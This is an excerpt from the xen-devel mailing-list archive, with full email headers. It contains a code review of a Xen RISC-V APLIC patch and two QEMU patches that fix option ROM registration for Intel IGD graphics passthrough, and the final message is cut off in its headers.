	H+GsRnIzqjMmOwbAPQokZVCdd/kLkRUTcvkzscRSxjOfHfourtVHMPysV2FncwqDTA==
X-Gm-Gg: AfdE7cnfggcEopfW2js82slGasdX3Tmhn7VxhuFR5XVlUiCTDrzLko5SQP9LpHjdO26
	yYuS7yamvKyh7g3ylsp/3G+ivil1sB8jFm881XmOi1hxDXJZIR/5wcgYSA8sLSKE0UqG+YonF6t
	QSOAXBea/Fff5XKbu2+bfWmFUH9Tv1pJ6JO5/o0yVIzYyNSlV7mlf0r/BWRjLPCKOvRG1cogtxu
	TiBeorHIjDbQ5VF9KlXcmIL1rGPUHbJQItufHVYhB23Ssxa8hTwhFn8ENTdgUut84Bxg6WmfQs/
	1DC7TnM4yC8+NiIwEJMTlnrt5aDv+12OM28VUNmevh9ITZGaJfWj71Ki2CwdJiqjCVgEm4qYVnC
	7lMGL01uO+P20dW7YyUX2mtH5Sbt0mZX5wb0E0AHRqmYp2ayp+pl1gsIul1l5C1eUPjjWYE9nGj
	hjAj4l3EUHiKwxv0MnKgGC8uTcSvlRIuX2rk5mPkYJGW+FrkjP/dtow/EqFvLQDx736t3vJYPWK
	PRF
X-Received: by 2002:a05:6000:26cd:b0:461:a16c:a5f4 with SMTP id ffacd0b85a97d-47df075bfbemr8452936f8f.33.1783612537798;
        Thu, 09 Jul 2026 08:55:37 -0700 (PDT)
Message-ID: <7e6916cb-52a8-4397-ad0e-b08bc18409c5@suse.com>
Date: Thu, 9 Jul 2026 17:55:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 20/26] xen/riscv: create APLIC DT node for guest
 domains
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <c05403d44a8c98eef2b7e399672158b40ff4a2fe.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <c05403d44a8c98eef2b7e399672158b40ff4a2fe.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1783612538-4937C9ED-C4BA1C1D/0/0
X-purgate-type: clean
X-purgate-size: 855

On 06.07.2026 17:58, Oleksii Kurochko wrote:
> --- a/xen/arch/riscv/aplic-priv.h
> +++ b/xen/arch/riscv/aplic-priv.h
> @@ -34,4 +34,18 @@ struct aplic_priv {
>      const struct imsic_config *imsic_cfg;
>  };
>  
> +/*
> + * Value is inspired by what QEMU is using for riscv,num-sources property for
> + * APLIC node.
> + */
> +#define GUEST_APLIC_MAX_SOURCES 96
> +
> +/*
> + * Specifies the number of wired interrupt sources supported by guest APLIC
> + * domain.
> + * Could be limited by host interrupt controller and is identical for every
> + * domain.
> + */
> +extern unsigned int guest_num_sources;

If I saw this identifier in use somewhere, I wouldn't know at all what kind of
sources this is about. Insert "aplic" or some other suitable infix?

Otherwise comments on the previous patch look to also apply here.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 16:18:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 16:18:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358344.1612531 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrSZ-0002FO-Dg; Thu, 09 Jul 2026 16:18:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358344.1612531; Thu, 09 Jul 2026 16:18:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrSZ-0002ET-7e; Thu, 09 Jul 2026 16:18:47 +0000
Received: by outflank-mailman (input) for mailman id 1358344;
 Thu, 09 Jul 2026 16:18:46 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whrSY-0002Bw-JL
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 16:18:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whrSX-00CbhJ-WC
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:18:46 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9d9-5cb7-0a2a0a5109dd-0a2a4504812a-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:45 +0200
Received: from [98.137.68.147] (helo=sonic302-21.consmr.mail.gq1.yahoo.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9e4-b1e5-0a2a45040019-6289449386fa-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:45 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic302.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 16:18:43 +0000
Received: by hermes--production-ne1-7568ccb994-pgg8z (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID e91c25460b5bcef5e32390743f7fb9e1; 
 Thu, 09 Jul 2026 16:18:38 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783613923; bh=NjzxgWYBhBDPccqwhPPakgGCHJbF/Oi59PNz/FTey5U=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=PHuO18g/I5iYnOfQIVSRLWKyeo2iCMloTvx5+lXG2qV0bULcTAGOI4OmbCop+ztt1cRcMXUkCaw4F92WaYZ6skoYHBqkVBPhSTWQGuoYNGRqBnUA8Y3Jhrin8/38jaY+uctg2GGEfaCo4jGlghMwtD65+QBMIBSGVuQT7YakSj5WEaq408JZ12G+aNU7FNIs81OA//DO2Heockdg0U44MqTN6SzOjse6bo4LmxPUOczjhur8phInLkWOhTawJvGwCZLARMUK5ES57v7nSzxNlp8nZT2ISTdB85pt4MCTvH2mQCsrLcvo46trbPSIoCEIdjm1W7PFXz36wFu6U+Vykg==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783613923; bh=Xl5UUP6heRHfJ8Onch0/iWYn1uKw2wGFHWxnlLcOHDy=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=bOMMEcUh9wmtbT18lfuP/P4Oenff5m9OfyHPwnCrye51v2jz/OsWRxc0Mwl5JrzBl3uVRUAHJT/FuexNMTg2I4dTgOMnd8nbgNs2gWoMJ3SOWoMQwZjK/+QH6inFgQ5QgHVE/UPEct0mfQDqyPfJoeYlobbhpi+MzcyGQEg85UOT6GAc/U4Gk+tUfJN4GR9BzLyOpZcZtwch9ZynVNQfuhiORb2N0il5gtlmtjt0ArU2Murn99xZJYHozoVcBtEmvIDict37Wgk7enOVeQNUu0+speWE1uRX3mBM63omRz5jy1pO4Kq9M6oh8zA+wrpWP5IiHZSZ3Lks7e+5crtKdw==
X-YMail-OSG: 3tIgTM0VM1miw.Bg87GxNRNIZzn9cSlNuAeqHdxBMPeyQy5imEcADUoBcuuqZCX
 5zBmO_GgpZLfDzpDLqzCoDU3vAFnYArJutpOkmFzxt1fcZxbU.3RXwT4hhOj_lHrIqrGXz4MaX81
 E9Al13md4pyIq7ag0QGfSuWQUaEMi3RS0haQk8a.zMV36EW.4B.BlMRYtqQwItY3UJXunxAmkiQ.
 SSFFRQdBduyKdtgcJ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ID: f78416a5-1708-4bda-9a80-a47dc8b7966b
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v2 3/3] xen/igd: fixup device id before registering rom
Date: Thu,  9 Jul 2026 12:18:31 -0400
Message-ID: <20260709161831.17753-4-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709161831.17753-1-brchuckz@aol.com>
References: <20260709161831.17753-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 3170
X-purgate-ID: tlsNG-ebf023/1783613925-775A8FE7-A28A73AC/0/0
X-purgate-type: clean
X-purgate-size: 3251

With the current implementation, Seabios does not see the fixup of
the device id done here and consequently Seabios does not load the
VGA bios and the guest screen does not light up until the guest OS
graphics driver is loaded. So there is no VGA output from the passed
through Intel IGD from either Seabios or the guest bootloader with
the current implementation in cases when the device id needs fixing.

Fix this by waiting until after doing fixup of the device id before
registering the option ROM. With this patch, Seabios sees the fixup
done here and loads the VGA bios, and both Seabios and the guest
bootloader light up the guest screen in cases when fixup of the
device id is needed.

Also, remove unused header hw/core/loader.h.

Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
Changes in v2:
  - add a period to the end of the last sentence of the commit message
  - add stable to Cc list

 hw/xen/xen_pt_graphics.c |  3 +++
 hw/xen/xen_pt_load_rom.c | 18 ++++++++++++------
 2 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
index 2ef941e..aface0b 100644
--- a/hw/xen/xen_pt_graphics.c
+++ b/hw/xen/xen_pt_graphics.c
@@ -222,6 +222,9 @@ void xen_pt_setup_vga(XenPCIPassthroughState *s, XenHostPCIDevice *dev,
         }
     }
 
+    pci_register_bar(&s->dev, PCI_ROM_SLOT, 0, &s->dev.rom);
+    s->dev.has_rom = true;
+
     /* Currently we fixed this address as a primary for legacy BIOS. */
     physical_memory_write(0xc0000, bios, bios_size);
 }
diff --git a/hw/xen/xen_pt_load_rom.c b/hw/xen/xen_pt_load_rom.c
index 319efca..407b630 100644
--- a/hw/xen/xen_pt_load_rom.c
+++ b/hw/xen/xen_pt_load_rom.c
@@ -4,14 +4,22 @@
 #include "qemu/osdep.h"
 #include "qapi/error.h"
 #include "qemu/error-report.h"
-#include "hw/core/loader.h"
 #include "hw/pci/pci.h"
 #include "xen_pt.h"
 
 /*
- * Scan the assigned devices for the devices that have an option ROM, and then
- * load the corresponding ROM data to RAM. If an error occurs while loading an
- * option ROM, we just ignore that option ROM and continue with the next one.
+ * Normally xen_pt_register_regions will handle loading the option ROM,
+ * but in some cases, such as for the Intel IGD, the option ROM might
+ * need to be modified.
+ *
+ * For such cases, use this function to get a pointer to the option ROM
+ * from sysfs. Caller has the responsibility to edit the option ROM as
+ * needed, call pci_register_bar to register the modified option ROM,
+ * and set has_rom to true for the PCI device.
+ *
+ * This function must be called before xen_pt_register_regions is called
+ * because if xen_pt_register_regions is called first, it will register
+ * the option ROM and any attempt to register it again will fail.
  */
 void *pci_assign_dev_load_option_rom(PCIDevice *dev,
                                      int *size, unsigned int domain,
@@ -76,8 +84,6 @@ void *pci_assign_dev_load_option_rom(PCIDevice *dev,
         goto close_rom;
     }
 
-    pci_register_bar(dev, PCI_ROM_SLOT, 0, &dev->rom);
-    dev->has_rom = true;
     *size = st.st_size;
 close_rom:
     /* Write "0" to disable ROM */
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 16:18:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 16:18:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358343.1612526 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrSZ-0002CP-4i; Thu, 09 Jul 2026 16:18:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358343.1612526; Thu, 09 Jul 2026 16:18:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrSZ-0002CI-1r; Thu, 09 Jul 2026 16:18:47 +0000
Received: by outflank-mailman (input) for mailman id 1358343;
 Thu, 09 Jul 2026 16:18:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whrSX-00029Y-Pp
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 16:18:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whrSX-00EFLu-6g
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:18:45 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9d4-e002-0a2a0a5209dd-0a2a4509d688-30
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:44 +0200
Received: from [98.137.66.146] (helo=sonic317-20.consmr.mail.gq1.yahoo.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9e3-b440-0a2a45090019-62894292ac87-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:44 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic317.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 16:18:43 +0000
Received: by hermes--production-ne1-7568ccb994-pgg8z (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID e91c25460b5bcef5e32390743f7fb9e1; 
 Thu, 09 Jul 2026 16:18:37 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783613923; bh=6TRFJxdSJpCb8eK0SYeXC8suh+qMlPVnpIC7E7OSPbk=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=Nxo4i02hiG/SFTXenFtczYu1QXSOPQlHK4NzODxoaLX8JDMXXcaRN2Aj/6XriWpghNwGUYZE30//ARuxY2ZidxfQByZF/grGIbLTVV/rro/xgFZpg9X4eumsjsMhl464XcRMF3vmoWRHgLUcu5kmiwWWnaN0Q/wuMQ+ViCXN4GoXHJ1IQMBVGPXwjhwYCHIPGDEAufejc+14RGEf1RTF2ZyKMmmqW6XIRF1E2RNTCwyCdENo89fIiY9aOvbRiAfg+vjCNnJL21oIxRl/2mWcDzff7pJfrrWIiUNuA9jyiirJ2zMhKJ+Crmex2C3OTuoK2yY2GZJeDC378gJKYfK5Vg==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783613923; bh=hMCCyBEbqP+T+xxDKbF1RjdxccH3SVHwoV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VDUO4NzJhaEUKQPEuc5ULmMFSnI3uV7kA157eB
 96.YZfMYPitRP4Tot1QL5H9KDLyZfQmDwpBXBPBCJkamshU2lm4Rrtmp4Up.eiITQHkplKpHF.nP
 PRne4lWrPoHGamB2qzwlEasZdobAAUrg9hefXukQaAoS4D9akaDtDL31BVGIZ1vxV_MPnzySZ7o.
 cAwiw5lvyZmSjasNVFkitth.GN_QAVUyNFNRnKgZusOq6rRguohC8EjJ7njPG86F4BIkE1xLnKge
 U_yOEIgN1vuMhhHz5C3WEnPCDVqtljwf7YxNq5Nr3qE5blfOT2Ck8iyeis4fj5ZDd9N.dI5VrvlT
 0V03hH3LVb3e1GWcqM3uKCweZcGXBOZwWzHwWA9Oc2ocIfl1ZyWj9LLE5UozT5Zh9Jk.DXD1TItG
 AABQj0vh5LgpESep2ebRKI9sZCNa.WVo9WzDzCKK4_lAaF08e6nvDISqvaKyr5j5VXwtYZduw.Wp
 SsVbRKyXziTAVU7A7OBTN80o_PSOb0x1XL57hpzmFxafYl8eGm9JD1VCE2GTN63mT4XitEccCd92
 FW5vwrSgs2WxpDJAUKiExJJVB4VoZAXFC4c_RUyWt
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: 140ad6a4-b874-48a0-97f0-3f602f31e683
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v2 2/3] xen/igd: don't register rom bar twice
Date: Thu,  9 Jul 2026 12:18:30 -0400
Message-ID: <20260709161831.17753-3-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709161831.17753-1-brchuckz@aol.com>
References: <20260709161831.17753-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 1389
X-purgate-ID: tlsNG-bad1c0/1783613924-5C57BA0B-0EEE5129/0/0
X-purgate-type: clean
X-purgate-size: 1430

This also fixes a failed assertion in pci [1] for Qemu
version 10 and higher when passing through an Intel
IGD with an option ROM to the guest.

[1] f6fc01c ("hw/pci: Assert a bar is not registered multiple times")

Fixes: 881213f ("xen, gfx passthrough: retrieve VGA BIOS to work")
Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
Changes in v2:
  - get 'pcibus_t romsize' instead of 'PCIIORegion region'
  - move definition of romsize to the top of the function
    and make it constant
  - add stable to Cc list

 hw/xen/xen_pt.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
index 474606e..8b30b61 100644
--- a/hw/xen/xen_pt.c
+++ b/hw/xen/xen_pt.c
@@ -459,6 +459,7 @@ static int xen_pt_register_regions(XenPCIPassthroughState *s, uint16_t *cmd)
 {
     int i = 0;
     XenHostPCIDevice *d = &s->real_device;
+    const pcibus_t romsize = s->dev.io_regions[PCI_ROM_SLOT].size;
 
     /* Register PIO/MMIO BARs */
     for (i = 0; i < PCI_ROM_SLOT; i++) {
@@ -495,7 +496,7 @@ static int xen_pt_register_regions(XenPCIPassthroughState *s, uint16_t *cmd)
     }
 
     /* Register expansion ROM address */
-    if (d->rom.base_addr && d->rom.size) {
+    if (!romsize && d->rom.base_addr && d->rom.size) {
         uint32_t bar_data = 0;
 
         /* Re-set BAR reported by OS, otherwise ROM can't be read. */
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 16:18:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 16:18:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358342.1612517 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrSW-0001yu-TF; Thu, 09 Jul 2026 16:18:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358342.1612517; Thu, 09 Jul 2026 16:18:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrSW-0001yn-QT; Thu, 09 Jul 2026 16:18:44 +0000
Received: by outflank-mailman (input) for mailman id 1358342;
 Thu, 09 Jul 2026 16:18:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whrSU-0001yX-Sz
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 16:18:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whrSU-004B28-9l
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:18:42 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9cd-bab6-0a2a0a5309dd-0a2a4505dfbc-24
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:41 +0200
Received: from [98.137.69.147] (helo=sonic310-21.consmr.mail.gq1.yahoo.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9e0-4f1d-0a2a45050019-62894593ac1c-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:41 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic310.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 16:18:39 +0000
Received: by hermes--production-ne1-7568ccb994-pgg8z (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID e91c25460b5bcef5e32390743f7fb9e1; 
 Thu, 09 Jul 2026 16:18:35 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783613919; bh=aTZYJ19teLtgjMj7F9U4FXEuCw6WFBhpiWLDA9olIKg=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=dpvvhuMNQ0AlydLXUGrTyc2kdBT2MgLipEG7hlsxeTCQrfBxEONVQQRVDX2VvTQzRGADOIKcHB48WRk3SCM4U71ERCO+++HInf8Ivq2ZRJN5QdU1ujrko88ILkSOz9DHe7jmdvQSn6srwV1rouCMACYqh9CvCKP28UZqIzPGZUyTVTE6WXam0bjPdotxcyw6UAdnIhxX+00rDjWqUxPwuw7CAG3OqFniJcg69Y9+wxM7JsTdbfn970xNz3dNkCBlqpqdFejoeOMlT8h3+G94JCsTKCUqTNanHiXYdj5JUceG61bKWwBgeLF4txGKazG6+7i49aSO6di5NOb3dpxr4A==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783613919; bh=zRfeOITMp9hA8Z04Z05ZbIWmM8TioYp3jXpEcHdDQYz=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=P8xxAmzHQVXTlHAJgVAyuY2JyLT/R7cONBOW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KRU_QvOUxB.VgIre1InKqeflxAAT
 8BdKNQ5iz1nKTNP0WFsNUgiZzXP4_bwsDkCjqSRMgd5mQ8wqyWihX1O8p6ye4FWA2g5Hx4MHHM8L
 F.xtys_8NlFUedcPYXwxzwos4cZsOAVJ3PhDKBldV6P0n.vNLd2uURXENGR4yVU413w1PCmUiyhP
 MSBplNWDCUulbYLWn534zoYpGvZYijgc2dzFQRuiVsUi6q4EMZyqs63cwMpMnb92xIgj2snv.Faw
 uQ_gbZIK522GYa2ydEcv3k2xXu4KH7OB_pSYlk_T0.M_IlF165kuC_ec0l33jfN69vCKHmg2Rvud
 ozqA1aAarGDlnwLcvtFHMD1R3BDzKEdPh9Fq3E7KRKWIJLtpJ0VOCec6ISgUGW4Qze62bVXuozt9
 GI.ehTVVvqKqW11yMzseQ8FMzm1kdy69x8SqAFPwFznMcst1ICMMzJoWxy3VtBZLIpYM5Qk9zxTY
 RwVWzkGjpRJOkJDEslwY0lmEFOVRv3EiNpEM-
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: a226e517-b485-4777-b889-ed6bf335aba4
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: stable@nongnu.org,
